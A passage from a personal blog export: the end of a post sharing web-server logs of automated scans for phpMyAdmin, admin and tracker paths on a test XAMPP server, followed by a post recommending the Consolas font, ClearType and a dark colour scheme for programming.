HTTP/1.1" 404 1122<br />196.41.26.67 - - [04/Dec/2008:12:28:39 +0000] "GET /mail//README HTTP/1.1" 404 1122<br />196.41.26.67 - - [04/Dec/2008:12:28:39 +0000] "GET /email//README HTTP/1.1" 404 1122<br />196.41.26.67 - - [04/Dec/2008:12:28:40 +0000] "GET /webmail//README HTTP/1.1" 404 1122<br />196.41.26.67 - - [04/Dec/2008:12:28:40 +0000] "GET /newmail//README HTTP/1.1" 404 1122<br />196.41.26.67 - - [04/Dec/2008:12:28:41 +0000] "GET /mails//README HTTP/1.1" 404 1122<br />196.41.26.67 - - [04/Dec/2008:12:28:41 +0000] "GET /mailz//README HTTP/1.1" 404 1122<br />81.180.165.131 - - [05/Dec/2008:08:37:43 +0000] "GET /twiki/ HTTP/1.0" 404 1122<br />81.180.165.131 - - [05/Dec/2008:09:17:52 +0000] "GET /wiki/ HTTP/1.0" 404 1122<br />218.58.226.13 - - [07/Dec/2008:07:21:54 +0000] "GET /manager/html HTTP/1.1" 404 1122<br /></span></span></blockquote><br /><br />And error.log:<br /><span style="color: rgb(255, 204, 204);font-size:78%;" ><span style="font-family:arial;"></span></span><blockquote><span style="color: rgb(255, 204, 204);font-size:78%;" ><span style="font-family:arial;">[Thu Nov 27 16:19:53 2008] [error] [client 200.69.177.20] File does not exist: <span style="font-weight: bold;">F:/xampp/htdocs/user</span></span><br /><span style="font-family:arial;">[Fri Nov 28 09:51:57 2008] [error] [client 222.208.183.218] script '<span style="font-weight: bold;">F:/xampp/htdocs/pr.php</span>' not found or unable to stat</span><br /><span style="font-family:arial;">[Fri Nov 28 18:04:03 2008] [error] [client 212.32.55.77] script '<span style="font-weight: bold;">F:/xampp/htdocs/errors.php</span>' not found or unable to stat</span><br /><span style="font-family:arial;">[Fri Nov 28 18:04:03 2008] [error] [client 212.32.55.77] File does not exist: <span style="font-weight: bold;">F:/xampp/htdocs/admin</span></span><br /><span style="font-family:arial;">[Fri Nov 28 18:20:14 2008] [error] [client 212.32.55.77] script <span style="font-weight: bold;">'F:/xampp/htdocs/upload.php</span>' not found or unable to stat</span><br /><span style="font-family:arial;">[Sat Nov 29 11:16:36 2008] [error] [client 222.208.183.218] script '<span style="font-weight: bold;">F:/xampp/htdocs/prx1.php</span>' not found or unable to stat</span><br /><span style="font-family:arial;">[Sat Nov 29 13:48:59 2008] [error] [client 212.32.55.77] File does not exist: <span style="font-weight: bold;">F:/xampp/htdocs/sqlitemanager</span></span><br /><span style="font-family:arial;">[Sat Nov 29 13:48:59 2008] [error] [client 212.32.55.77] File does not exist: <span style="font-weight: bold;">F:/xampp/htdocs/SQLiteManager<br />[Wed Dec 03 18:44:21 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/PMA<br />[Wed Dec 03 18:44:25 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/mysql<br />[Wed Dec 03 18:44:28 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/admin<br />[Wed Dec 03 18:44:28 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/db<br />[Wed Dec 03 18:44:28 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/dbadmin<br />[Wed Dec 03 18:44:29 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/web<br />[Wed Dec 03 18:44:32 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/admin<br />[Wed Dec 03 18:44:32 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/admin<br />[Wed Dec 03 18:44:32 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/admin<br />[Wed Dec 03 18:44:33 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/phpmyadmin2<br />[Wed Dec 03 18:44:33 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/mysqladmin<br />[Wed Dec 03 18:44:33 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/mysql-admin<br />[Wed Dec 03 18:44:33 2008] [error] [client 212.98.241.114] script 'F:/xampp/htdocs/main.php' not found or unable to stat<br />[Wed Dec 03 18:44:34 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/phpMyAdmin-2.5.6<br />[Wed Dec 03 18:44:34 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/phpMyAdmin-2.5.4<br />[Wed Dec 03 18:44:34 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/phpMyAdmin-2.5.1<br />[Wed Dec 03 18:44:35 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/phpMyAdmin-2.2.3<br />[Wed Dec 03 18:44:35 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/phpMyAdmin-2.2.6<br />[Wed Dec 03 18:44:35 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/myadmin<br />[Wed Dec 03 18:44:35 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/phpMyAdmin-2.6.0<br />[Wed Dec 03 18:44:35 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/phpMyAdmin-2.6.0-pl1<br />[Wed Dec 03 18:44:36 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/phpMyAdmin-2.6.3-pl1<br />[Wed Dec 03 18:44:36 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/phpMyAdmin-2.6.3<br />[Wed Dec 03 18:44:36 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/phpMyAdmin-2.6.3-rc1<br />[Wed Dec 03 18:44:36 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/phpMyAdmin-2.6.2-rc1<br />[Thu Dec 04 11:25:01 2008] [error] [client 64.203.107.100] File does not exist: F:/xampp/htdocs/mantisbt<br />[Thu Dec 04 11:25:01 2008] [error] [client 64.203.107.100] File does not exist: F:/xampp/htdocs/tracker<br />[Thu Dec 04 11:25:02 2008] [error] [client 64.203.107.100] File does not exist: F:/xampp/htdocs/bugtracker<br />[Thu Dec 04 11:25:02 2008] [error] [client 64.203.107.100] File does not exist: F:/xampp/htdocs/bugtrack<br />[Thu Dec 04 11:25:02 2008] [error] [client 64.203.107.100] File does not exist: F:/xampp/htdocs/support<br />[Thu Dec 04 11:25:03 2008] [error] [client 64.203.107.100] File does not exist: F:/xampp/htdocs/bug<br />[Thu Dec 04 11:25:03 2008] [error] [client 64.203.107.100] File does not exist: F:/xampp/htdocs/bugs<br />[Thu Dec 04 11:25:04 2008] [error] [client 64.203.107.100] File does not exist: F:/xampp/htdocs/mantis<br /></span></span></span></blockquote><br /><br />So I came to the conclusion to not use those files or folders.<br />Lucky It is a server to upload our own tests and nothing could happen anyway. :)<br /><br />Whenever I find more security tips I will post them on the blog, I hope it helps to stop hackers.Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3430534936820467452.post-43223304700744265242008-10-15T17:44:00.002+01:002008-11-29T17:49:51.805+00:00Nice environments for programmingI have been working with a horrendous IDEs for a long time My eyes hurt sometimes last year and I had to drop artificial tears on my eyes for about 8 months because I worked too hard for a periood of two months working about 12 hours a day everyday using 2 monitors (17" + 22")...<br />How did I solve my problem?: I worked less , and my eyes started to recover.<br /><br />Sometimes we have tight deadlines or we are enjoying creating something nice. So we dont want to stop even when we feel the eyes are suffering... Yesterday I thought that was enough! So I started researching about good environments for programming... not GUIs, just the environment. (colour and font)<br /><br />So I rememember I friend told me about font " <span style="font-weight: bold;">Consolas </span>" so I decided to have a try. But hey I need Windows Vista for that , they dont let you download it for free anywhere. So I reseacrhed... I found that If you<a href="http://www.lifehacker.com.au/tips/2008/03/11/install_powerpoint_viewer_2007_to_get_vista_fonts_in_xp-2.html"> install MS Powerpoint viewer 2007</a> it will install the fonts for free! Yay!<br /><br />After installing it I had the fonts on WindowsXP, cool. .. first step done.<br /><br />Now I have to activate the annoying ClearType... , I come from the MSX times I like pixelated fonts:<br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://upload.wikimedia.org/wikipedia/en/7/71/Msxbasic.png"><img style="margin: 0pt 0pt 10px 10px; cursor: pointer; width: 320px;" src="http://upload.wikimedia.org/wikipedia/en/7/71/Msxbasic.png" alt="" border="0" /></a><br />But I thought maybe now is time to go to the smooth generation fonts! So I <a href="http://geniushackers.com/blog/2007/09/28/how-to-enable-clear-type-in-windows/">enabled clearType</a>... I didn't like it at the beginning but then I got used to it and it is fine.<br /><br />Then I went to my Flash GUI and changed all colours I did it quite randomly but with a bit of common sense I came up with a nice colour scheme. Mixed with Consolas and ClearType I got a VERY nice envorinment that is a pleasure to work with...<br /><br /><div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiM0zlRLJ1OiMed-V-db4QEqV3UJSb6-AAsZnvEyETkLSuaDcxDpVaNO0cYrT5XR5LsdHhPEl65ATdLTzS9w1vgCQaga8jd44l-Wpd7_nb8vDpJ4X4ZwJhOoL1yWeSegNdWeKTFQR6vN4/s1600-h/environment.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 333px; height: 338px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiM0zlRLJ1OiMed-V-db4QEqV3UJSb6-AAsZnvEyETkLSuaDcxDpVaNO0cYrT5XR5LsdHhPEl65ATdLTzS9w1vgCQaga8jd44l-Wpd7_nb8vDpJ4X4ZwJhOoL1yWeSegNdWeKTFQR6vN4/s320/environment.png" alt="" id="BLOGGER_PHOTO_ID_5257426545327838818" border="0" /></a>(click to enlarge)<br /><br /><br /><div style="text-align: left;">So if we compare it to the windows xp flash ide default:<br /><div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPGEMTTj4KSqUINQSHBhfuE6w1vq_lhJSClFnyb_BZ8HHDEJ7lO3F9feHiE1xk31EgY8tLLUqTwrGSJFpo862h-M3VQ6uk2MCYQymyOC2X5UOqfETW5OUmyj9XfafDk3QzLpkaW2t1ve8/s1600-h/environmentVS.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 144px; height: 149px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPGEMTTj4KSqUINQSHBhfuE6w1vq_lhJSClFnyb_BZ8HHDEJ7lO3F9feHiE1xk31EgY8tLLUqTwrGSJFpo862h-M3VQ6uk2MCYQymyOC2X5UOqfETW5OUmyj9XfafDk3QzLpkaW2t1ve8/s320/environmentVS.png" alt="" id="BLOGGER_PHOTO_ID_5257433716015902802" border="0" /></a>(click to enlarge)<br /></div><br /></div></div><br />I hope you think twice about using that white background of yours and have this a try...<br /><br />The settings Im using are:<br /><br />Colors:<br /><br />Foreground: #FFFFFF<br />Keywords: #996600<br />Identifiers: #00CCFF<br />Background: #333333<br />Comments: #666666<br />Strings: #009900<br /><br />Font:<br /><br />Font: Consolas<br />Font size: 11<br /><br />You can use any colours of course but remember to make them not to strong...<br /><br />I hope you can tell me a better combinations if you find them :)Unknownnoreply@blogger.com2